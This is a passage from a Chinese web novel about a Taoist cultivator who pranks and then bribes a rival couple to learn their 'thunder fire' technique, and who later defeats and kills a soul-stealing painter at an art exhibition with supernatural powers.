但我又往下看,他又从坛子里弄出来了五六个小鬼,小鬼的长相都不一样,性格也都不太一样,有的疯疯癫癫,有的蹦蹦跳跳,有的很蔫吧,慢悠悠的。
怪不得呢。
每次来啃我家大门的小鬼都不一样。
原来如此呢。
“**,这个死奸商老赵,又卖给我们几个‘臭蛋’,招不出小鬼来。两百块没了!”男的突然一脚踢翻了一个坛子,火气腾腾的。
我愣了下。
老赵?
道器的那个老板?这里还有他事呢?
但想想就明白了,应该是被赵老板给坑了,那个坛子,才是招出小鬼的关键。
这么看来。
这个赵老板的人脉,还真是广呢。
“行啦,又不是被坑一次两次了,连咱们师傅都弄不过他呢,别埋怨了。等以后有钱,有了新道场,他也就不敢狗眼看人低了。”女人说。
“哼。”男的冷哼一声,有点不服气,道侣两人又把道坛给拆了,搬回了帐篷里,然后两人在帐篷里鼓鼓秋秋的,竟然做起了那事。
我愣住了。
我这一看,这特么的不就是落魄道统吗?
但以他们的本事而言,也不至于住在桥洞子地下做这种事吧?
随心所欲是没错。
但这前脚招了小鬼害人,后脚做这事,这跟欢欢有啥区别?
而就在此时,周围突然有一群年轻人路过,但他们应该听不到那的声音,因为桥洞下离这有点远。
我还在想怎么收拾这两人呢。
突然灵机一动。
我拿出一道符来,催动道力,在符箓燃起的瞬间,朝着那帐篷打了过去。
很快!
桥洞子下燃起了火焰。
但里面两人似乎做的事越来越忙,似乎还没发现呢。
但我身后的这些年轻人,那都是大好青年,发现事情不对,大家就冲了过去要救火。
随着他们的喊声,四周也被招来了不少人,大家都跑
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了过去。
“你们谁啊,干啥啊!烧我家干啥啊!”男人喊着。
“哎呀,丢**了。衣服都烧没了,这,咋办啊!”女的捂着眼睛,躲在草丛里。
“唉呀妈呀,咋回事啊。有俩光屁股的在这干那事,丢**啦!”有**喊。
“啊,干着火了?人没事吧?”有人问。
“真尼玛牛逼啊,干那事,能把衣服干着火了,快,先救火吧。”
…
我面无表情地站在远处,看着这对道侣在那丢人,我的心情……真特么爽。
果然啊,人做坏事的时候,注意力集中,一点也不觉得累。
但我觉得他们活该,找我麻烦,想占我场地,自找地。
原本,我确实是打算好好弄他们,我说的是往死里面弄。
但见他们俩真有本事,还跟那个赵老板能扯上关系,我就另有想法了。
如今我见到的能人不多。
起码,我能用上的能人不多。哪怕田道士那个坏东西,我最后都放了他。
就是因为这个原因,这俩人,我想尝试利用。
随后,我先回了场地,然后我准备了一套自己不穿的衣服,又跟陆小旺要了一套旧衣服。
陆小旺奇怪,“这是干啥啊?”
我没回答,而是问她,“陆小旺,你说,人要是落魄的时候,给多少钱能感恩?能给咱卖命?”
陆小旺疑惑,但还是认真思考道,“普通人的话,饿的时候,一个馒头就能卖命。咱们这行,要是落魄的话,一万块。”
我说,“不多,但也不少。”
陆小旺说,“是的,我们认识那会,我是最落魄的,众叛亲离,啥活都接。十块钱我都赚。所以,当时明知道长白山的事会**,为了钱都去了。但干我们这行,都要脸面,大家都见过钱,打动其心,几千块看不上的。”
我点了点头,陆小旺说得没错。
陆小旺奇怪,“你到底要干嘛?”
我没说。
因为这种事不能说,自己偷着乐就行。
我说,“等着吧,他们还要感激我呢。”
我眯眼,已经打定了主意。
……
第一百七十八章我是个好道友
陆小旺盯着我说,“你这个人看着老老实实的,但一肚子坏水。总觉得你要干坏事,算了,我也不好奇了,我去睡觉了。”
说完,陆小旺原本都走上梯子了,结果又折返回来,然后凑到我面前。
她那双大眼睛扑棱扑棱的,该说不说,这女人确实耐看。
我说,“咋了?你不去睡觉吗?”
陆小旺笑着说道,“你说,我要是不想跟你当朋友呢?你会怎么办?”
我说,“啥意思啊?”
陆小旺说,“就是打个比喻,不想跟你当朋友了。”
我突然冷漠地看向她,“你是想与我为敌吗?”
陆小旺睁大眼睛,她朝我咬牙切齿道,“你,你,哼。老娘睡觉去了,该死的邪修!”
看着陆小旺上了二楼,我皱了皱眉头,难不成这女人有反心?
我在养虎为患?
看来最近我露了太多的本事,还真不是一件好事呢。
以后得防着点。
果然啊,我还是适合独来独往。
她要是真的与我为敌,我要不要偷摸地给她下点药,然后打断她的腿,就说小鬼干的?这样,她不就跑不了吗?
大不了以后给她弄个轮椅?
我还在胡思乱想呢,一楼的灯突然忽明忽暗,小鬼出现了。
然而,此刻的我早有准备,**脆把灯关了,然后在那喝茶。
只见,一楼的门楼,那令人牙碜的呻吟又出现了。但比起前几次,这次的声音更大。
啪。
一只小鬼趴在了窗户上,用那牙齿咬着防盗网,接着又跳上来了一只。
透过窗户,我大致看了看,七八只都来了。
它们还真是卖力呢。
咕噜噜。
浴缸里,鲫子还没睡呢,一双眼睛盯着我,这家伙再看**啥呢。
我说,“你愁啥,养你这些天了,也没看你有啥本事。我在想,你是不是除了托梦,啥也不会啊。”
也不知道是不是被我说中了,鲫子把头扭过去,装作没看见我。
我也是无语了。
一条鲫鱼,咋跟个戏精似的。
“大胆妖孽,胆敢出来害人,看我不消灭你们。”我听到了那男人的声音。
可算来了。
随后,外面一阵的打斗声音,我看到两道身影把门口的小鬼都装进了一个葫芦里,然后我就听到那女的说,“接下来咋办啊?”
男的说,“再,再把动静闹大点吧。”
说完,两人更卖力了,刀光剑影的,就跟看电影似的。
看得过瘾,但我也知道不能一直看下去,万一这两人跑了,我不就白做准备了嘛。
我把灯打开,然后假装从楼上下来的,推门说道,“谁啊,干啥啊?大半夜的?”
见我出来了,男女道士还在那演呢,男的大喊,“妖孽,别跑。难缠的小鬼,胆敢在本道爷这放肆。拿命来。”
说完,他还给我露了一手,把葫芦扔上天,那葫芦定在了半空中,然后把那小鬼吸了进去。
女的配合他,“呼,居然有六七只难缠的小鬼,还好我们出手了,要不然这场地就被折腾了。”
我冷笑,这两人演的还挺投入呢。但我早就知道他们的目的,我也不拆穿,我说,“外面漆黑的,你们谁啊。”
我是真没看清,因为这天太黑了。只能隐约地看到两人的轮廓。
结果,两人往我场地门口走了一步,屋里面的光把他们照得透亮。哪怕我是修道的,受过专业的训练,我都差点没憋住。
这两人。
居然穿的都是尿素袋子。
“是你们?哼,大半夜的来我场地,又有何贵干?”我强忍着没笑出来,然后很不满地说。
“哼,你死到临头了还不自知呢!”男的冷哼道。
“你有啥想说的?”我尽量不去看那尿素袋子,因为我怕笑出来。
倒不是有多好笑,而是我一看那尿素袋子,就能想起我烧他们帐篷。
谁能想到呢,这俩家伙做那事,居然没注意到帐篷烧没了。连衣服啥的也都烧没了。
这两人是做梦做那事吗?连着火都看不到?
“呼,你看来是真不知道了,你被小鬼给盯上了,要不是我出手,你差点被缠上。”他叉腰说道。
“有这种事?怪不得呢,我这些天总能听到门口咬门的声音,牙碜着呢。那是小鬼?”我顺着他的话往下说。
这道侣两人都使了个眼色。
接着女人配合道,“道友,确实如此。我们之前路过此地,发现了那些小鬼,对你这场地居心叵测,所以就顺手收拾了。见道友骨骼惊奇,本想着把道友收入我们门派,发扬道家传承,却被
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道友你误会了。”
该说不说,他们这套说辞,加上这种配合,真的是天衣无缝。
别看这男的脾气又臭又硬,但其实不然,他这自命清高,又有本事的形象,真的很唬人。
然而,老子最不吃的就是套路,反而,现在老子要给他们下套了。
“原来如此啊,误会,误会,快快请进。”我把他们请了进来,但心里面却骂道,误会?误会个屁啊?
进了屋,这次这男的不在乱说话了,两人有点拘谨。
我说,“两位,你们这身打扮是?”
男的脸通红,倒是女的说道,“清修,方便我二人吸收日月精华。”
我点了点头,这两人还真特能扯呢。今天连星星都看不到,哪来的月亮?
但我也没拆穿,我拿出了早就准备好的衣服递了过去说道,“两位道友,实在不好意思,我这楼上住着女人呢,还望不要嫌弃,这是些日常的衣服。”
男的已经动容了,看我的眼神都变了,吭哧瘪肚的,说不出话。
女的也是有点羞愧,但她好一点,急忙说,“不嫌弃,不嫌弃,道友说得对,不能失了体面。”
我心冷冷笑,这就感动了?
不等两人开口,我又说,“白天那会,我也有些急了。黄龙道教的事,我也略知一二。你们确实是遇到了难处,要不然绝对不会干出那种鸠占鹊巢之事。”
说完,我就从抽屉里拿出了两沓钱,然后就递了过去。
道侣两人都惊呆了,看着我,又看着那钱,那男的,在那直咽口水。
原本能说会道的女的,眼下也眼睛都直了,不知所措地看着我。
看到他们的反应,虽然我也穷过,也是过来人,但我真想说一句,没钱修毛道?
法侣财地师不道?
他们跟我不一样,那是有传承的,有道门的,结果玩这些脏手段,野路子,我瞧不起他们。
但他们确实有本事,我最缺的东西,他们身上都有。道统,传承,修道的细节,术法等等。
老子得弄到手。
我笑着说道,“两位道友,别嫌少,道家之人,互相帮助,我也没多的,只能帮这些了。你们收着,我心里踏实。”
言外之意。
你们收着,到时候坑你们点东西,那就不欠啥了。
……
第一百七十九章钱没白花
然而,这道侣二人哪里知道我的想法,他们面面相觑,差点没泪崩。
我看得出来,两人都想着推辞一下,但给的实在太多,他们这话根本说不出来。
“两位,难道视钱财如粪土?不屑要我这钱?要是如此的话,那我就不给了。看来,两位是真的清高,道家的先驱,未来位列仙班之位,有二位一席之地。”
我奉承,但心里想着,要是他们不收,那老子省了。
“要,要,要。道友……我们,借,有借有还。”男的再也装不下去了,说话都带着颤音。
“道友,我们黄龙道教最近确实遇到了**烦,教派被占,门徒散了。道友您这是雪中送炭,这份恩情,我夫妻二人记在心中,日后报答。”女的手也不慢,生怕我把钱要回去,直接动手把两万块塞进了尿素袋里。
我纳闷。
这钱塞哪了?
尿素袋子里也没包啊。
“好,还不知道二位道友的名号呢?”说来说去,还不知道他们叫啥呢。
“你看这扯不扯,道友,在下吕德华。我道侣发妻,曹芳芳。”男的朝我行了个道家的礼节。
我鄙视他,白天还说自己是黄龙道教的传人啥啥的,一大堆名号,这咋就直接说了名字,一点也不拖泥带水了呢?
果然啊!
钱是个好东西。
能让人保持纯真的本性。
“两位可有住处?这天都晚了,对面有旅馆,我给你们安排。”我大义凛然道。
两万都花了,不差这点。
暂时把他们留住,然后套路点本事。
“有,有。道友,这天色已经晚了,我们就不打扰了。明日,明日我来拜访,与道友畅谈道术。”
“是啊道友,我夫妻二人,还要去捉小鬼,明日来打扰。”
“那好,要是遇到麻烦就来找我,我叫冯宁,你们年长我几岁,叫我冯兄弟就好。那就,不留二位了。”我说。
说完,两人穿着尿素袋子朝我行礼,然后顺手把我准备好的衣服拿走了。
之后,消失在了店门口。
我关了灯,准备关门呢,但细微的听到了远处两人在说话。
吕德华啪啪的抽着自己的嘴巴子,“我真该死啊,这么好的老弟,我居然想坑他,我吕德华,该抽!”
曹芳芳,“我说德华啊,这次我们确实做的不对。想着霸占人家场地,但你看,人这人品,人家这格局,对咱多好。我发誓,以后这就是我亲弟弟。”
吕德华,“对,是咱们亲弟弟。回桥洞子收拾收拾吧,不知道哪个天杀的东西,害得咱们丢人现眼。要是被我抓到,我把他蛋子挤爆了!”
…
听着两人的话,但此刻,我脸上却没有一丁点的笑容。
我冷漠地注视黑夜。
又恢复了那副冷漠的性子。
在我眼里,两人的事虽然滑稽,但并不好笑。
我只想把他们的本事学到手。
这才是真正的东西。
我转头进屋,随手一挥,门关上了。
然后,我剑指意动,那门栓自动地锁上了。
我背过手,面无表情地朝着二楼走了上去。
一夜过后。
第二天十点多,这两人还真来了。他们穿着我和陆小旺的衣服。
我请他们进来入座,然后喝茶,两人再也没了昨天的锐气,嘴里虽然叫着老弟,但对我那是尊敬有加。
对于他们突然来的礼貌行为,我没啥兴趣,而是有意地往道家传承上引导。
虽然我没听过黄龙道教,但从他们的话中,以及细节的描述上来说,两人真的是有东西。
吕德华说,他从小被师傅捡到,领进了道门。从挑水做饭学起,然后坐忘读书,月光下炼气,日光下炼体。
等身体和内在都到了一定程度,跟着大师兄学习雷火之法,以火为种子,修炼出了招魂引渡的本事。
我有些奇怪,“吕大哥,道家不应该是采气嘛?采气的话,应该是白昼好吧?”
吕德华的话,有点涉及了我的知识盲区。在我的想法里,道家遵循自然,所以讲究日出起,日落睡。结果他这个又是吸收月光,又是吸收太阳光的,弄得好像是某些书里面写的妖怪的
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修炼方法。
对着月光敞开胸怀,然后吸收月光?
曹芳芳喝了口茶,笑着说道,“冯老弟,一看你就是正统道家的修士,讲究日月乾坤的顺序。而这也是各个道教分支最有争论的地方。”
吕德华接着说道,“老弟,你要是信老哥的,那就不要相信道统这种说法。因为这会害你了。啥为道?道就是自我,你想怎么修炼就怎么修炼。只要你舒畅,你就没有不好的气息,那就是一身正义。这就是道。说白了,道就是心,心就是道。采气,为啥一定要采阳光?只因为是白昼?月光咋了?月光难道就不是自然现象嘛?”
这一番话下来,我真的觉得两万块一点都没白花。一直以来我也有些避讳,总把事情分个阴阳,对阳喜好,对阴避讳。
实际上,星球在转,总要有阴有阳。阴是坏的嘛?不是。反而,阴对应夜晚,夜晚就代表着休息,这说明阴是好的。
阳是好的吗?
我当初就因为被那方士用阳气包裹,舒服到迷失了自我,沉睡了八年。
而如今吕德华的话,彻底地打消了我的一些想法。
阴阳。
善恶。
水火。
相克,但也相生。
不论对错。
我点头,“老哥说得对,受教了。”
但随后我疑惑道,“老哥老姐,刚才听你们话中的意思,你们的本事都是大师兄传的?不应该是师傅传的嘛?”
吕德华却苦笑道,“老弟啊,你吕大哥我虽然有些本事,但天赋啊,还到不了被师傅教那种程度。不瞒你说,教派的大多数弟子,都是大师兄教的。就这,也就学了大师兄十分之一的本事。”
曹芳芳也说,“冯老弟,学道清苦,很少有人能坚持到最后。而道门的大师兄,就这三个字的含金量,不亚于现在各地那些考上清北的状元。就拿龙虎山来说吧,当今龙虎山门下的弟子,都是他们大师兄教的,就连龙虎山的道长清虚子掌门,不懂的地方都要问那大师兄。有一个词叫做……断档,说的就是道门大师兄。”
……
第一百八十章走路真有用(第三更)
我惊讶。
想不到道门的大师兄如此厉害。
随后,我又问了他们道门的事,吕德华似乎有点不愿意提起,但还是说了。
“说来也不怕冯老弟取笑,两年前,我们那道场被我师傅卖给了佛教。”吕德华说。
这话一出来我就无语了,不是说惹上了麻烦嘛,结果这就是事实?
之前我还说知道黄龙道教的事呢,这我上哪知道去?
到了中午,我又把两人留下吃饭,烧鸡烧鸭,好吃的招待。
然后,我又趁机套出了一些秘密。这黄龙道教,真正厉害的东西不是招魂这种道术,而是‘雷火’。
他夫妻俩还给我演示了一遍,连符文道字啥的,都跟我说了个清清楚楚。
只不过,演示的时候有点尴尬,夫妻俩频繁上场,却没出一点雷火。
“咳咳,冯老弟见笑了,这雷火之术,我偶尔能使出来。这东西,大师兄说过,百分之九十九的人都学不会。所以他也不怕我们传出去。”
言外之意,给你也学不会。
曹芳芳跟着补充,“老弟,道统这东西,不是谁都能立得住的。你这人间仙门,带了个仙字,估计最后都没有好下场。就像我们黄龙道教,带了个龙字,传承千年,结果呢,我师傅受不了那业力,最后把场地都给卖了。”
吕德华吃了口鸡腿,小酌一杯,他美滋滋说道,“哎,大家都说道教的没落是外来教的挤兑,其实我觉得真不是,是有些东西真的失传了。老弟,老哥跟你说点好东西。”
我眼前一亮,还有东西?我笑着说道,“老哥请讲。”
吕德华说,“这其实是师傅传给我的,以黄龙道教的传承而言,在没有天道大运的助力下,传承早就断了。这不是人为的,是天道不允许有些大道字音存在。我师傅曾说过,黄龙道教真正能存在到至今的原因是两个字……走路。”
相比之前说的那些,吕德华现在的话,反而添了几分神秘的色彩。
我疑惑,因为我真没听懂,我说,“老哥,你说的走路,就是两条腿走路吗?还是说,另有意思?”
吕德华砸吧了一口酒,眯眼道,“对,就是两条腿去走路。道是啥,道是路,走路,就是在走道。而我,也是靠着这个秘诀,从中脱颖而出,有了道心和道力。”
轰。
不知道为啥。
听了吕德华的话,我突然有所顿悟。
大道至简。
我现在是越来越觉得这两万块花的值了。
接下来的一段时间里,我都在琢磨吕德华的话。我人不在浮躁,没有刻意地去修炼,而是按时的去吃饭睡觉。
然后做得最多的两件事,一个是走路,另一个就是掌控‘雷火’。
说真的,这‘雷火’是真的难掌控,我尝试了很长时间,哪怕拥有五雷的修炼术法,也没办法施展出来。
怪不得他们不怕外传呢。
好在,在我的坚持下,还是修炼出来了‘雷火’。这次我是真的有点兴奋了,因为这‘雷火’跟我想象中的完全不一样。
这雷火是实质化的,而且是不灭的,左手**,右手掌心火,随着修炼它们是在成长的。
用的时候,念动咒语缠绕掌心,不用的时候,藏在掌中。
威力也令我惊讶。
暂时的话,比我那五雷诀的第一道雷逊色些。
但随之而来,我也有疑问,这东西是不灭的,吕德华能使出来一次,那肯定能用第二次。
所以只有一个说法,他故意藏拙了。
要是猜得没错的话,他跟我彰显,但又觉得自己说多了,所以把所有东西都演示了,口诀也说,在真显灵的时候,有点后悔了!
他应该没想到。
我给弄会了吧!
再说走步,这个真的让我受益匪浅,一开始我只是散步,再后来我就是那种忘我的走步,到现在我是有规律的在走步。
结果,我凭着意识,硬是走出了一条自己的道路。
全无杂念,步步道心坚定,每一步落下,都有一种结结实实踩在大地上的踏实感。
咋说呢!
很爽!
一步下去消烦恼。
两步下去道成空。
三步下去浑身暖洋洋的。
…
而命名没有怎么修炼的我,在这种朴素的情况下,实力突飞猛进。
那嫩芽又涨开了。
足足九片青翠欲滴的叶子。
又过了段时间
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,俩道侣没在来了。而场地的生意还是没啥起色,陆小旺动身回了齐市去找生意。
我嘛,让欢欢和小人参看家,也前往了帝都,联系了黎雅。
得知我开了场地,又想着做这门生意,黎雅倒是高兴坏了。
她说,我帮了他们黎家两次,现在想认识我的人很多,但考虑怕我不高兴,这才没有公开身份。
我一听这话后知后觉,原来不是没有水,是我把出水口给堵上了啊?
“找一些靠谱的,踏实点的。我场地在哈城偏街五十八号。”我说道。
“这个你放心,那些都是有钱人,别看他们在一些琐事上很抠门,但这种事,他们很大方。”随后黎雅又给我出了个主意,“冯宁,你想把场地弄大,那就不能着急。我这边把消息无意间透露出去,然后让他们去找你,到时候你在那边在运作一下,又能拿钱,又能有个好名声。以你的本事,办成一件事,慕名而去的就多了。生意,也就好了。”
我看向黎雅,也忍不住惊讶,果然啊,有些事在我这是问题,但在黎雅这就不是问题。
而且她的这个办法,简直绝了,虽然中间多了个过程,但这是在变相把我找人,变成了人来找我,直接把我的地位拉高了。
到时候等人来了,那还不是我说啥是啥?
我说,“不愧是有钱人家的大小姐,找你果然没错啊。”
黎雅白了我一眼,“哼,知道就好。开场地这种事都不告诉我,真不够意思。”
我摊手无奈道,“黎小姐,我这不是把事情想简单了嘛,以为开个场地就能赚钱。结果吃瘪了。你知道的,我不喜欢麻烦别人。”
黎雅说,“那你还来麻烦我。”
我说,“我除了你,我也想不到别人啊。”
闻言,黎雅脸蛋微红,嘟囔道,“这还差不多嘛。对了,下午有个诡异画展,我这有两张贵宾票,我还想着跟谁去呢,你陪我吧。我保证不虚此行。”
我说,“我对艺术不感兴趣。”
黎雅却把手插在胸口说,“冯宁,求人要有求人的态度。你这次可是来求我的,由不得你。”
然后,她笑盈盈地看着我。
……
第一百八十一章我勒个神笔(第四更,求票)
呵呵。
尼玛的。
还真是天道好轮回呢。
当初黎雅求我,拿钱砸我。
现在!
换成我找她帮忙了。
“算你这娘们狠。去就去。”我说道。
“说话真难听。”黎雅说。
黎雅请我吃的牛排,下午两点多,我俩去了她说的那家画展。
东区。
酒店。
画展的规模应该不大,但来的人却不少,都是些青年男女,看穿着,应该都是有钱人家的孩子。
“诡异画展。”到了地方我才知道,人家画展的名字就叫诡异画展。
举办这画展的人也是个青年,门口有他的照片,看上去约莫二十七八岁。
“对啊,我把这事给忘了呢,你是看事的,等会进去看画,你看看能不能看出点啥来。”黎雅把两张票递了过去,然后神神秘秘的说道。
“不就是画吗?能看出啥啊。”我奇怪。
“当然不一样了,林子枫,二十八岁,三年前突然空降绘画艺术界,以一幅美女跳舞图闻名。他的画……会动。”黎雅认真道。
“很特别吗?”我对文字敏感,对画的话,除非是我家挂着的那两幅,因为蕴含道力我能看出来不同。
艺术?
我欣赏不来,所以也听不懂。所以黎雅跟我说这事,就是在对牛弹琴。
“画会动啊?算了,进去你自己看吧。”黎雅也不想解释,我俩就进去了。
画廊很长,画也很多。但一进来,我就发现了不对劲儿。
来看画的人,一个个站在画前,面无表情,浑身僵硬,总之给人感觉很奇怪。
“你看,大家都入迷了。”然而,黎雅却这样说。
闻言,我眯了眯眼睛,然后走到了第一幅画面前,画上画的是一团火,看起来平平无奇的。
但随着看的深入,那团火在我的眼睛里燃了起来。就像是,有人在我面前画了个火柴,然后着了似的。
什么鬼?
我看向了其他人,看向了黎雅,眼下除了我,他们盯着那画,像是魔障了,一动不动,神情木讷。
我眯了眯眼睛,催动道力,双眼用力,再次朝着画看去。
结果。
这幅画反而没了变化,就是普普通通的画了。
阴阳颠倒?
我想到了二哥家那房子。
但那种情况,貌似需要特定的情况下才能形成的。眼下这是画展,凭着画就能做到吗?
我正想着呢,黎雅突然转身撞了我一下。然后,我被几个人挤着往下一幅画面前移动。
我皱了皱眉头,从人群里挤了出来,我朝着四周看去,周围的人,以一种诡异的步伐,逐个画看去。
所有人都是那种呆滞的神色,似乎被这些画给吸引的没了自己的表情。
尼玛!
还真是诡异画展呢!
人都特么的跟着诡异了。
我有点无语了,这种怪事也能碰上。
来都来了,反正也不着急,我跟在黎雅身后,然后看那些画,我倒要看看,到底是啥名堂。
第二幅画。
内容是一个女人在画画,在不用道眼的情况下,我看到那画中的女人在画女人,然后无限的循环。
突然!
一个骷髅从画里面冒了出来。
但凡正在看这画的人,都吓了一跳,但都还没醒,依旧是那痴呆的模样。
接着第三幅画。
那是一个男人,独自面对星河,他突然变成了一条龙,朝着星河撕咬。
第四孵化……第十幅画。
我跟着队伍,在画廊转了一大圈,然后,随着有人作画的声音。
那个照片里的林子枫,正优雅地坐在走廊尽头,拿着笔作画。
“好帅啊。子枫大神,我想跟你睡觉。”来到了这里,所有人都突然醒了,其中一个年轻姑娘张口就来。
结果。
这个林子枫做了个噤声的手势。
姑娘突然就晕倒在了地上。
然而,诡异的一幕,居然没人去看这女人,一个个全都噤若寒蝉,生怕打扰对方。
等等?
如此诡异的画,所以我一直防备这家伙呢。结果我就看到,这个倒在地上的女人,在她身体里抽出了一个一模一样的人出来。
但这‘人’不是实体,而是飘忽不定的,随着林子枫的落笔,我看到‘它’像是被吸了过去。
‘道’!
我单手结印,一个眼神,道力打了过去。
啪嗒。
林子枫的笔突然掉在了地上。
那被吸过去的‘人’又飘飘忽忽地回来了,随后,我用道
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力把她拉回了身体里。
“我,我这是怎么了?”那小姑娘又活了。
但眼下,没人回答她,因为那些人都脸色僵硬,面无表情的看着林子枫。
“谁?”林子枫突然站了起来。
“谁?林哥哥,你是在问我嘛?我能跟你合一张影嘛?”那姑娘有点激动,似乎不知道刚才发生的事。
我皱了皱眉头。
还是第一次见到这种术法?
但我也不吭声,站在人群中,看他们晃动,我也跟着晃动,还别说,挺好玩的。
“你身上,是不是戴了什么道器?”林子枫问道。
“道器,什么是道器。”这姑娘说话有点磕巴,完全没了之前的狂热,甚至她在观察四周,眼中闪动着恐惧。
“没事了,我给你画一幅画,你看喜不喜欢。”林子枫说完,捡起了地上的笔,然后在墙上画了个女人。
接着,他突然把那女人从墙里面扯了出来。
然后,那女人转了个身,仙气飘飘,跳起了舞。
这诡异的一幕,比刚才看画要夸张多了,这可是鲜活的女人。
水灵灵的出现了?
我勒个现代的神笔马良?
再看那姑娘,她已经从地上爬了起来,她的眼睛又失去了色彩,朝着那跳舞的女子走了过去。
林子枫的脸有些病态,他嘴里面念叨着啥,那张脸邪魅狰狞。
那是一种即将要得逞的目光。
‘道’!
我总觉得这家伙要害这姑娘,所以又暗中帮了一把。
“啊,啊,鬼啊,鬼啊。”姑娘又醒了,她应该也看到了那跳舞的女子,吓得大喊大叫,冲出了展览馆。
“艹!怎么回事?难道她身上真有道器?”林子枫眉毛都快挤到一起了,脸色铁青,像是被侮辱了似的。
随后,他突然一把抓住了那跳舞的女子,捏住它脖子,直接捏碎了。
只见,他手里多了几滴油墨。
接着,他突然看向了我,随后露出了一丝笑意。
就见他在墙上画了个两米多的壮汉,然后用力那么一扯,那膀大腰圆的壮汉扯出来,他说道,“去,玩他。我不喜欢比我帅的人出现在我面前,玩完,我把他的灵魂奖励给你。”
啥?
玩我?
……
第一百八十二章变强了(第五更,求票票)
这对吗?
这真的对吗?
老子修道快三年了,第一次碰到这种**?
我还在吐槽呢,那壮汉提了线条,也就是画出来的裤衩,然后那粗大的手臂就要把我搂在怀里。
原本我还想看看这家伙有啥操作,但眼下,真的一点心情没有。
我催动道力,掌心火,直接拍了过去。
呼!
这画出来的壮汉僵硬,用一种不可置信的眼神看我,然后被雷火烧成灰烬。
“道家。”林子枫那张病态的脸笑不出来了。
“我说你特么有病吧?精神不正常?”我都被气笑了,这家伙绝对是个病态。
而且还是个掌控一门术法的病态。
谁碰上谁倒霉呢。
“刚才是你搞的鬼!”林子枫咬牙道。
“是,尼玛的,你是个啥东西?神笔马良?”我皱眉道。
“**,没必要知道那么多。嘿嘿嘿,哈哈哈,道家的,我把你做成画,想想就刺激啊。”林子枫邪笑,那样子真就像是个精神病。
说完,他突然拿起那笔,在这长廊里四处地画,画着画着,我发现自己周围的人都不见了。
连他们的气息都不见了。
我被他给做成画了?
此刻,我处在一个全是白色的空间里,这地方没有天空,没有地面,四周也什么都没有,我能看见的就是无尽的白色。
就像是。
被关进了一个无声无息的独立世界里。
“仙术?”
我四处走了走,但感觉没有空间感,没有方向感,最离奇的,我似乎能往上走,也能往下走,但身子永远都是站着的方向。
“嗯?你知道的还不少呢。”林子枫的声音响起,语气有些意外。
“你是想把我困死?”我问。
然而,我是一点也不着急,因为我总觉得这仙术对我貌似没啥影响。
我想走出去很容易。
因为我的走路,跟其他人的不一样,我虽然感受不到四周的情况,但我能感受到我走路的情况。我其实一直都在原地踏步,我没有被画到画里,而是被画遮住了眼。
“我要把你做成我的染料,拿道士做染料,我还没试过呢。不过你放心,以后我会把你画出来,你会以另一种形式活着。”林子枫的声音很兴奋。
“谁告诉你,老子是道士?”我笑道。
“哼,管你是啥,坏了我的好事,都得死!”他怒道。
我深吸一口气,感受着脚下走路的步伐。我闭上了眼,然后凭感觉一道雷法轰了过去。
“啊,这怎么可能!你被我封住了七窍,你怎么能打中我。”林子枫朝我吼道。
然而,随后我又一道雷火已经招呼上去了。
嗖!
随后,下一秒钟,我能听到声音了,周围的情况也看清了。
此刻,林子枫狼狈地站在三米开外,死死盯着我。随后,他发现我在看他,震惊道,“怎么可能,我这一门的传承仙术,没几个人能破开。除非……”
我笑道,“除非,我实力在你之上,对不对?”
我眯眼,往前走了一步,嘴角勾起笑意。还要多亏这林子枫把我困住呢,就在刚才,我突然有所领悟。
在我三米之内,我仿佛看到了一个阴阳八卦层层展开,在这范围内,我不需要感知,仅仅通过这八卦阴阳,便能判断所处的环境。
而这些!
便是我那些天走路,走出来的‘道’。
被打开了。
林子枫不笑了,如临大敌,他没有想象中的那么强,这才多大一会,为了对付我已经气喘吁吁了。
我盯着他,不想他逃跑,稍有动作,我就弄他。而眼下,他在我那八卦中,想跑也跑不掉。
“你想怎样。”林子枫似乎也感受到了我的想法,他也知道自己跑不掉,所以主动开口。
“应该说,你有多少筹码能保证自己活。”我面无表情道。
“你杀了我,你会很麻烦。”他眼神闪动,似乎不信我会杀了他。
我抬眼,眼下的我,在这八卦成了之后,有一种天地唯我独尊的感受。
我都没动。
一道道力如同一只脚,直接把林子枫踹倒在地上,他跪在那,痛不欲生。
“我不喜欢废话,筹码。”我说。
“刚才,刚才是我不对,得罪了仙长。仙长,我乃吴道子后人,降妖术士一门
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,道家术士,都是一门啊。”林子枫捂着肚子,费力地站了起来。
“画钟馗的那个吴道子?”有关吴道子的事,我知道一些。一个专门画钟馗镇邪的高人。
文献资料上所言,此人的画,出神入化,能镇厉鬼,能封九天玄女。
人虽然是凡人,但却百邪不侵,他的一滴血,方圆二里,精怪闻了慌乱而逃。
至于这降妖术士一门,确实有画画镇邪岁的说法。他应该没说错。
“仙长,这事。”不等林子枫把话说完,我又是一脚过去,再次把他踹翻在地。
看着那痛苦的林子枫,我穿过了人群,走到了他跟前,“少特么套近乎。既然是术士一门,你为啥要开着画展害人呢?”
林子枫哑口无言。
“我没啥耐心了。”我说。
林子枫也急了,他从怀里掏出了一本泛黄的册子,然后跪在地上说道,“仙长,这是仙法七阴鬼术的传承,我愿意交出去。”
我拿了过来了,随手看了看,以我现在的眼里来说,应该是真的了。
“还有其他的嘛?”我问。
“这个,没了。”林子枫摇头说道。
他低着头,倒是有些低三下四的。但我却能感受到他不服。
我说,“抬起头来。”
林子枫牙都要咬碎了,但还是微微抬头,勉强露出了点笑意敷衍我。
在那一瞬间,他的眼中闪过了浓烈的杀意,他恨死我了。
但因为屈服我的**,又急忙掩饰。
“真没了?”我问。
“真,真没了。”他说。
“哦,没了的话,那你可以**了。”我站在他面前,手被在身后,而我身上的道力,化作一只无形的大手,扼住了他的脖子。
“你,言而无信!”他眼珠子通红,被我掐得声音沙哑,那样子快疯掉了。
“术士之后,却用术法作恶,罪大恶极,该死。”我平静地说道。
身上的道力突然催动起来,在这三米之内,我只需要一个念头,道力就把他裹了起来。
他被扭断的了脖子。
又被我那道力给挤成了血雾。
彻底的消失了。
……
第一百八十三章三等奖
呼。
画展长廊里,仿佛有人吹了一股风,接着我看到那些林子枫画的画中有东西走了出来。
离我最近的是个‘人’。
他看着我,没有说话,而是朝我行了个古人的鞠躬礼。
接着,被那股子风吹散,吹成了片片花瓣。
随后,又有生灵从各个画中现身,它们有的是人,有的是动物,有的是精怪。
但很显然,它们都是开了智的,然而,它们却说不出话,全都朝我鞠躬。
伴随着那突如其来的风,化成花瓣消散了。
翁。
随着那些画中的东西没了,我身上却跟着舒服了起来。
愿力。
我的愿力突然变得强大了。
而随后,我觉得自己的精神力量也有了变化,之前也有过这种变化,但是不明显。
那会只觉得感知力增强了,现在却有所不同,在我十米内的事物,我竟然能捕捉到风吹草动,特别的清晰。
